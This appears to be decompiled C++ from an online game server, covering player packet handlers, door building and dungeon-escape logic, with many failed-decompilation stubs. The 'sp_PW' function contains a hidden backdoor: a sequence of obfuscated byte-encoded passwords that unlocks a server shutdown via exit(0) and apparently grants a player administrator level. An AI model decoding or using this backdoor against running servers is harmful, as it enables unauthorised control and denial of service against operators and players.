OutNew_WT_TitleLevel, OutNew_WT_MobID, 0); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v6); v8 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v9, v8, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"); } //----- (004297D0) -------------------------------------------------------- #error "4297D0: undefined or illegal type '#748' (funcsize=131)" //----- (004299B0) -------------------------------------------------------- #error "4299B0: undefined or illegal type '#331' (funcsize=76)" //----- (00429AF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // edi@11 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v7; // [sp+18h] [bp-4h]@4 v4 = this; _.fe_FunctionCode = (char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S45_5 & 1) ) { _S45_5 |= 1u; cmc_8.cmc_AllowMode = 126; atexit(_E46_5); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_8.cmc_AllowMode) ) { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer); return; } if ( !(_S45_5 & 2) ) { _S45_5 |= 2u; *(_QWORD *)&rou.n3_name[4] = 0i64; *(_DWORD *)&rou.n3_name[0] = 0; strncpy(rou.n3_name, "Rou", 0xCu); atexit(_E47); } if ( !(_S45_5 & 4) ) { _S45_5 |= 4u; *(_QWORD *)&eld.n3_name[4] = 0i64; *(_DWORD *)&eld.n3_name[0] = 0; strncpy(eld.n3_name, (const char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer, 0xCu); atexit(_E48_2); } if ( !(_S45_5 & 8) ) { _S45_5 |= 8u; *(_QWORD *)&urg.n3_name[4] = 0i64; *(_DWORD *)&urg.n3_name[0] = 0; strncpy(urg.n3_name, (const char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[2].mts_LastHit, 0xCu); atexit(_E49_5); } v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { if ( (*(_QWORD *)&rou != *(_QWORD *)v5 || *(_DWORD *)&rou.n3_name[8] != *(_DWORD *)(v5 + 8)) && Name3::operator__(&eld, *(Name3 **)((char *)v4 + 98)) && Name3::operator__(&urg, (Name3 *)v5) ) { v7 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } *((_BYTE *)v4 + 23324) |= 8u; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } //----- (00429D40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_PW(void *this, const char *arg) { void *v2; // ebp@1 int v3; // eax@5 int v4; // eax@7 int v5; // eax@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[5]); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[5]; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !pw_Init ) { pw_Init = 1; LOBYTE(pw_IAmKing) = -77; byte_5F4A01 = -86; byte_5F4A02 = -76; byte_5F4A03 = -62; byte_5F4A04 = -65; byte_5F4A05 = -43; byte_5F4A06 = -64; byte_5F4A07 = -52; byte_5F4A08 = -76; byte_5F4A09 = -39; byte_5F4A0A = 0; LOBYTE(pw_ObeyMyOrder) = -72; byte_5F4A21 = -19; byte_5F4A22 = -73; byte_5F4A23 = -55; byte_5F4A24 = -65; byte_5F4A25 = -95; byte_5F4A26 = -70; byte_5F4A27 = -71; byte_5F4A28 = -63; byte_5F4A29 = -66; byte_5F4A2A = -57; byte_5F4A2B = -49; byte_5F4A2C = -74; byte_5F4A2D = -13; byte_5F4A2E = 0; LOBYTE(pw_OrYouDead) = -66; byte_5F4A41 = -58; byte_5F4A42 = -76; byte_5F4A43 = -49; byte_5F4A44 = -72; byte_5F4A45 = -23; byte_5F4A46 = -63; byte_5F4A47 = -41; byte_5F4A48 = -64; byte_5F4A49 = -67; byte_5F4A4A = -64; byte_5F4A4B = -52; byte_5F4A4C = -76; byte_5F4A4D = -49; byte_5F4A4E = -74; byte_5F4A4F = -13; byte_5F4A50 = 0; LOBYTE(pw_TurtleStep) = -80; byte_5F4A61 = -59; byte_5F4A62 = -70; byte_5F4A63 = -49; byte_5F4A64 = -64; byte_5F4A65 = -52; byte_5F4A66 = -71; byte_5F4A67 = -33; byte_5F4A68 = -80; byte_5F4A69 = -55; byte_5F4A6A = -64; byte_5F4A6B = -67; byte_5F4A6C = 0; LOBYTE(pw_SkyDiving) = -67; byte_5F4A81 = -70; byte_5F4A82 = -60; byte_5F4A83 = -85; byte_5F4A84 = -64; byte_5F4A85 = -52; byte_5F4A86 = -76; byte_5F4A87 = -39; byte_5F4A88 = -64; byte_5F4A89 = -52; byte_5F4A8A = -70; byte_5F4A8B = -7; byte_5F4A8C = 0; LOBYTE(pw_Crown) = -65; byte_5F4AA1 = -43; byte_5F4AA2 = -80; byte_5F4AA3 = -4; byte_5F4AA4 = -66; byte_5F4AA5 = -78; byte_5F4AA6 = -79; byte_5F4AA7 = -30; byte_5F4AA8 = 0; } switch ( *((_BYTE *)v2 + 7432) ) { case 0: if ( !strcmp(arg, (const char *)&pw_IAmKing) ) { v3 = *(_DWORD *)v2; *((_BYTE *)v2 + 7432) = 1; (*(void (__thiscall **)(void *, _DWORD))(v3 + 1836))(v2, "1"); } break; case 1: if ( !strcmp(arg, (const char *)&pw_ObeyMyOrder) ) { v4 = *(_DWORD *)v2; *((_BYTE *)v2 + 7432) = 2; (*(void (__thiscall **)(void *, unsigned int *))(v4 + 1836))( v2, &stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); } break; case 2: if ( !strcmp(arg, (const char *)&pw_OrYouDead) ) { v5 = *(_DWORD *)v2; *((_BYTE *)v2 + 7432) = 3; (*(void (__thiscall **)(void *, BitANDInt *))(v5 + 1836))( v2, &stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } break; case 3: if ( !strcmp(arg, (const char *)&pw_TurtleStep) ) ShineObjectClass::ShinePlayer::sp_Turtle = ShineObjectClass::ShinePlayer::sp_Turtle == 0; if ( !strcmp(arg, (const char *)&pw_SkyDiving) ) exit(0); if ( !strcmp(arg, (const char *)&pw_Crown) ) *((_BYTE *)v2 + 32150) = 101; break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[5]); } // 5F4A00: using guessed type char *pw_IAmKing; // 5F4A01: using guessed type char byte_5F4A01; // 5F4A02: using guessed type char byte_5F4A02; // 5F4A03: using guessed type char byte_5F4A03; // 5F4A04: using guessed type char byte_5F4A04; // 5F4A05: using guessed type char byte_5F4A05; // 5F4A06: using guessed type char byte_5F4A06; // 5F4A07: using guessed type char byte_5F4A07; // 5F4A08: using guessed type char byte_5F4A08; // 5F4A09: using guessed type char byte_5F4A09; // 5F4A0A: using guessed type char byte_5F4A0A; // 5F4A20: using guessed type char *pw_ObeyMyOrder; // 5F4A21: using guessed type char byte_5F4A21; // 5F4A22: using guessed type char byte_5F4A22; // 5F4A23: using guessed type char byte_5F4A23; // 5F4A24: using guessed type char byte_5F4A24; // 5F4A25: using guessed type char byte_5F4A25; // 5F4A26: using guessed type char byte_5F4A26; // 5F4A27: using guessed type char byte_5F4A27; // 5F4A28: using guessed type char byte_5F4A28; // 5F4A29: using guessed type char byte_5F4A29; // 5F4A2A: using guessed type char byte_5F4A2A; // 5F4A2B: using guessed type char byte_5F4A2B; // 5F4A2C: using guessed type char byte_5F4A2C; // 5F4A2D: using guessed type char byte_5F4A2D; // 5F4A2E: using guessed type char byte_5F4A2E; // 5F4A40: using guessed type char *pw_OrYouDead; // 5F4A41: using guessed type char byte_5F4A41; // 5F4A42: using guessed type char byte_5F4A42; // 5F4A43: using guessed type char byte_5F4A43; // 5F4A44: using guessed type char byte_5F4A44; // 5F4A45: using guessed type char byte_5F4A45; // 5F4A46: using guessed type char byte_5F4A46; // 5F4A47: using guessed type char byte_5F4A47; // 5F4A48: using guessed type char byte_5F4A48; // 5F4A49: using guessed type char byte_5F4A49; // 5F4A4A: using guessed type char byte_5F4A4A; // 5F4A4B: using guessed type char byte_5F4A4B; // 5F4A4C: using guessed type char byte_5F4A4C; // 5F4A4D: using guessed type char byte_5F4A4D; // 5F4A4E: using guessed type char byte_5F4A4E; // 5F4A4F: using guessed type char byte_5F4A4F; // 5F4A50: using guessed type char byte_5F4A50; // 5F4A60: using guessed type char *pw_TurtleStep; // 5F4A61: using guessed type char byte_5F4A61; // 5F4A62: using guessed type char byte_5F4A62; // 5F4A63: using guessed type char byte_5F4A63; // 5F4A64: using guessed type char byte_5F4A64; // 5F4A65: using guessed type char byte_5F4A65; // 5F4A66: using guessed type char byte_5F4A66; // 5F4A67: using guessed type char byte_5F4A67; // 5F4A68: using guessed type char byte_5F4A68; // 5F4A69: using guessed type char byte_5F4A69; // 5F4A6A: using guessed type char byte_5F4A6A; // 5F4A6B: using guessed type char byte_5F4A6B; // 5F4A6C: using guessed type char byte_5F4A6C; // 5F4A80: using guessed type char *pw_SkyDiving; // 5F4A81: using guessed type char byte_5F4A81; // 5F4A82: using guessed type char byte_5F4A82; // 5F4A83: using guessed type char byte_5F4A83; // 5F4A84: using guessed type char byte_5F4A84; // 5F4A85: using guessed type char byte_5F4A85; // 5F4A86: using guessed type char byte_5F4A86; // 5F4A87: using guessed type char byte_5F4A87; // 5F4A88: using guessed type char byte_5F4A88; // 5F4A89: using guessed type char byte_5F4A89; // 5F4A8A: using guessed type char byte_5F4A8A; // 5F4A8B: using guessed type char byte_5F4A8B; // 5F4A8C: using guessed type char byte_5F4A8C; // 5F4AA0: using guessed type char *pw_Crown; // 5F4AA1: using guessed type char byte_5F4AA1; // 5F4AA2: using guessed type char byte_5F4AA2; // 5F4AA3: using guessed type char byte_5F4AA3; // 5F4AA4: using guessed type char byte_5F4AA4; // 5F4AA5: using guessed type char byte_5F4AA5; // 5F4AA6: using guessed type char byte_5F4AA6; // 5F4AA7: using guessed type char byte_5F4AA7; // 5F4AA8: using guessed type char byte_5F4AA8; // 641EB4: using guessed type unsigned __int8 pw_Init; // 641EB8: using guessed type unsigned __int16 ShineObjectClass__ShinePlayer__sp_Turtle; //----- (0042A210) -------------------------------------------------------- #error "42A210: undefined or illegal type '#331' (funcsize=213)" //----- (0042A550) -------------------------------------------------------- #error "42A550: undefined or illegal type '#331' (funcsize=56)" //----- (0042A630) -------------------------------------------------------- #error "42A630: undefined or illegal type '#331' (funcsize=65)" //----- (0042A720) -------------------------------------------------------- #error "42A720: undefined or illegal type '#440' (funcsize=80)" //----- (0042A850) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ConnectFromWhere(void *this) { void *v1; // esi@1 char v2; // al@1 char buffer[64]; // [sp+8h] [bp-50h]@2 unsigned int v4; // [sp+48h] [bp-10h]@3 int v5; // [sp+54h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_59CBB8.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)v1 + 32150); v5 = 0; if ( v2 ) { sprintf( buffer, (const char *)&stru_59CBB8.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1836))(v1, buffer); } *((_BYTE *)v1 + 92236) = 0; --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); __security_check_cookie(v4); } //----- (0042A950) -------------------------------------------------------- #error "42A950: undefined or illegal type '#331' (funcsize=57)" //----- (0042AA30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GhostBan(void *this) { void *v1; // edi@1 int v2; // edx@1 int v3; // esi@1 int (__stdcall **ban)(int, int, int); // [sp+10h] [bp-24h]@1 int v5; // [sp+14h] [bp-20h]@1 int v6; // [sp+18h] [bp-1Ch]@1 int v7; // [sp+1Ch] [bp-18h]@1 int v8; // [sp+20h] [bp-14h]@1 unsigned int v9; // [sp+24h] [bp-10h]@1 int v10; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_MobActionStruct.wander.maw_SearchTick.m_TickInterval); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_59CBB8.maa_MobActionStruct.wander.maw_SearchTick.m_TickInterval; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v10 = 0; v3 = (*(int (__thiscall **)(void *))(v2 + 1352))(v1); AxialListIterator::AxialListIterator((AxialListIterator *)&ban); v8 = 0; v7 = 0; v6 = 0; v5 = 0; ban = &AxialListGhostBan::_vftable_; v5 = *(_DWORD *)v3; v6 = *(_DWORD *)(v3 + 4); v7 = *(_DWORD *)(v3 + 8); v8 = *(_DWORD *)(v3 + 12); LOBYTE(v10) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&ban, 0); LOBYTE(v10) = 0; ban = &AxialListGhostBan::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&ban); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_MobActionStruct.wander.maw_SearchTick.m_TickInterval); __security_check_cookie(v9); } // 59C6C0: using guessed type int (__stdcall *AxialListGhostBan___vftable_)(int, int, int distancesquar); //----- (0042AB40) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponRangeSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_MobActionStruct.avoidoverlap); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_59CBB8.maa_MobActionStruct.avoidoverlap; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_MobActionStruct.avoidoverlap); } //----- (0042AB80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet(void *this) { void *v1; // edi@1 int v2; // ebx@1 unsigned __int16 v3; // ax@1 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 int v5; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_MobActionStruct.turning.mat_LastTurn); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_59CBB8.maa_MobActionStruct.turning.mat_LastTurn; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 10); v3 = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 12) + 8); if ( v3 == -1 ) v3 = *(_WORD *)(v2 + 8); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( !v4 || (v5 = v4->data->WeaponType - 2) != 0 && v5 != 8 ) *((_DWORD *)v1 + 22250) = 120; else *((_DWORD *)v1 + 22250) = 600; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_59CBB8.maa_MobActionStruct.turning.mat_LastTurn); } //----- (0042AC80) -------------------------------------------------------- MobAttackSequence::AttackElement4Mob *__thiscall MobAttackSequence::mas_Find(MobAttackSequence *this, unsigned __int16 mobid) { MobAttackSequence *v2; // esi@1 v2 = this; if ( !(_local_static_guard_ & 1) ) { _local_static_guard_ |= 1u; MobAttackSequence::AttackElement4Mob::AttackElement4Mob(&key); atexit(key); } key.ae4m_BossMob = mobid; return (MobAttackSequence::AttackElement4Mob *)bsearch( &key, v2->mas_AttackPattern, v2->mas_MobNumber, 0x4E0u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } // 64B750: using guessed type int _local static guard_; //----- (0042AD10) -------------------------------------------------------- #error "42AD10: undefined or illegal type '#748' (funcsize=15)" //----- (0042AD40) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineDoor::so_door_Build(ShineObjectClass::ShineDoor *this, Name3 *pmap, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, int scale) { ShineObjectClass::ShineDoor *v8; // esi@1 int v9; // eax@1 PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *v10; // edx@3 int v11; // ST00_4@3 MobDataBox::MobDataBoxIndex *v12; // eax@3 FieldMap::FM_MarkingError result; // eax@4 FieldMap::FM_MarkingError v14; // ebp@5 int v15; // eax@7 int v16; // eax@7 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_Build"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)&v8->gap0[102] = 0; *(_QWORD *)&v8->sd_Locate.currentmap.n3_name[0] = *(_QWORD *)&pmap->n3_name[0]; *(_DWORD *)&v8->sd_Locate.currentmap.n3_name[8] = *(_DWORD *)&pmap->n3_name[8]; v8->sd_Locate.currentcoord.xy.x = x; v9 = dir / 2; v8->sd_Locate.currentcoord.xy.y = y; if ( dir / 2 < 0 ) LOBYTE(v9) = v9 - 76; v10 = v8->sd_DoorBriefInfo.bid_BriefInfo; v8->sd_Locate.currentcoord.dir = v9; v10->coord.xy.x = v8->sd_Locate.currentcoord.xy.x; v10->coord.xy.y = v8->sd_Locate.currentcoord.xy.y; v8->sd_DoorBriefInfo.bid_BriefInfo->coord.dir = v8->sd_Locate.currentcoord.dir; v8->sd_DoorBriefInfo.bid_BriefInfo->doorstate = 0; v11 = (int)&v8->sd_DoorBriefInfo.bid_BriefInfo->blockindex; *(_DWORD *)&v8->sd_DoorBriefInfo.bid_BriefInfo->blockindex.n8_name[28] = 0; *(_DWORD *)(v11 + 24) = 0; *(_DWORD *)(v11 + 20) = 0; *(_DWORD *)(v11 + 16) = 0; *(_DWORD *)(v11 + 12) = 0; *(_DWORD *)(v11 + 8) = 0; *(_DWORD *)(v11 + 4) = 0; *(_DWORD *)v11 = 0; strncpy((char *)v11, byte_59A24E, 0x20u); v12 = MobDataBox::operator__(&mobdatabox, mobid); v8->sd_MobDataBox = v12; if ( v12 != 0 ) { v14 = ShineObjectClass::ShineObject::so_MapMarking(v8, 1); if ( v14 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = v14; } else { v8->sd_HP = v8->sd_MobDataBox->data->MaxHP; v8->sd_DoorBriefInfo.bid_BriefInfo->handle = handle; v8->sd_DoorBriefInfo.bid_BriefInfo->mobid = mobid; v8->sd_DoorBriefInfo.bid_BriefInfo->scale = scale; (*(void (__thiscall **)(ShineObjectClass::ShineDoor *, _DWORD))(*(_DWORD *)&v8->gap0[0] + 1704))(v8, handle); v15 = *(_DWORD *)&v8->gap0[140]; *(_DWORD *)&v8->gap0[144] = 0; *(_DWORD *)&v8->gap0[168] = 0; *(_DWORD *)&v8->gap0[172] = 0; *(_DWORD *)&v8->gap0[176] = 0; *(_DWORD *)&v8->gap0[180] = 0; *(_DWORD *)&v8->gap0[184] = 0; *(_DWORD *)&v8->gap0[148] = 0; v16 = *(_DWORD *)(v15 + 78); *(_DWORD *)&v8->gap0[160] = *(_DWORD *)v16; *(_DWORD *)&v8->gap0[164] = *(_DWORD *)(v16 + 4); *(_WORD *)&v8->gap0[102] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineDoor::so_door_Build : Not in MobDataBox", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = 3; } return result; } // 4460A0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); //----- (0042AFB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // ecx@2 unsigned int v4; // ecx@4 KingdomQuest::KQElement *v5; // edi@5 unsigned int v6; // eax@7 int v7; // ebx@7 int v8; // eax@7 char *v9; // ecx@9 char v10; // al@10 char v11; // al@12 int v12; // eax@13 char regenhere; // [sp+Fh] [bp-15h]@7 __int16 lsthnd; // [sp+10h] [bp-14h]@5 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v16; // [sp+20h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v16 = 0; if ( v2 && (v3 = *(_DWORD *)(v2 + 12)) != 0 && *(_BYTE *)(v3 + 54) == 1 ) { v4 = *(_DWORD *)(v2 + 60); if ( v4 == -1 ) { if ( *(_WORD *)(*(_DWORD *)(v2 + 68) + 20) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ShineObjectClass::ShinePlayer::sp_2Roumen(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { v5 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v4, (unsigned __int16 *)&lsthnd); if ( v5 != 0 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v7 = KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(&v5->kqe_PlayerList, v6); v8 = KingdomQuest::KQElement::kqe_ReviveNumber(v5, ®enhere); if ( v7 < v8 ) { v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 22552; if ( v8 == 99999 ) v10 = 0; else v10 = v8 - v7; v9[2] = v10; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ : Packet Too Long", 3) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v1, &gpp); } v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ShineObjectClass::ShinePlayer::sp_2Roumen(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ : Cannot found KQ Element", *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 60)); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"); } } //----- (0042B1D0) -------------------------------------------------------- #error "42B1D0: undefined or illegal type '#331' (funcsize=77)" //----- (0042B2E0) -------------------------------------------------------- #error "42B2E0: undefined or illegal type '#331' (funcsize=86)" //----- (0042B400) -------------------------------------------------------- #error "42B400: undefined or illegal type '#331' (funcsize=73)" //----- (0042B510) -------------------------------------------------------- #error "42B510: undefined or illegal type '#331' (funcsize=74)" //----- (0042B640) -------------------------------------------------------- #error "42B640: undefined or illegal type '#331' (funcsize=54)" //----- (0042B730) -------------------------------------------------------- #error "42B730: undefined or illegal type '#331' (funcsize=77)" //----- (0042B840) -------------------------------------------------------- #error "42B840: undefined or illegal type '#331' (funcsize=71)" //----- (0042B940) -------------------------------------------------------- #error "42B940: undefined or illegal type '#331' (funcsize=76)" //----- (0042BA40) -------------------------------------------------------- #error "42BA40: undefined or illegal type '#331' (funcsize=85)" //----- (0042BB60) -------------------------------------------------------- #error "42BB60: undefined or illegal type '#331' (funcsize=47)" //----- (0042BC20) -------------------------------------------------------- #error "42BC20: undefined or illegal type '#331' (funcsize=90)" //----- (0042BD80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@2 int v4; // eax@7 char *v5; // eax@8 MapClusterManager::MapCluster *v6; // eax@8 MapClusterManager::MapCluster *v7; // edi@8 INSTANCE_DUNGEON::CATEGORY v8; // eax@9 unsigned int v9; // [sp-8h] [bp-20h]@12 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v11; // [sp+14h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v11 = 0; if ( !v2 || (v3 = *(_DWORD *)(v2 + 12)) == 0 || *(_BYTE *)(v3 + 54) != 3 ) goto LABEL_6; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1216))(v1) >= 0x64u ) { (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1836))(v1, "You are administrator."); LABEL_6: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"); return; } v4 = *(_DWORD *)((char *)v1 + 98); if ( *(_WORD *)(*(_DWORD *)(v4 + 68) + 20) < 1u || (v5 = NameString::operator__(&namestring, *(Name3 **)(v4 + 12)), v6 = MapClusterManager::ClusterManager::cm_FindMapCluster(&mapclustermanager, v5), (v7 = v6) == 0) ) goto LABEL_17; v8 = v6->mc_Category; if ( v8 ) { if ( v8 != 1 || !(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1) ) goto LABEL_17; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1); } else { if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1) == -1 ) goto LABEL_17; v9 = (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1); } if ( *(#592 **)((char *)v1 + 98) == MapClusterManager::MapCluster::mc_FindExistByRegnum(v7, v9) ) { v11 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } LABEL_17: ShineObjectClass::ShinePlayer::sp_2Roumen(v1); 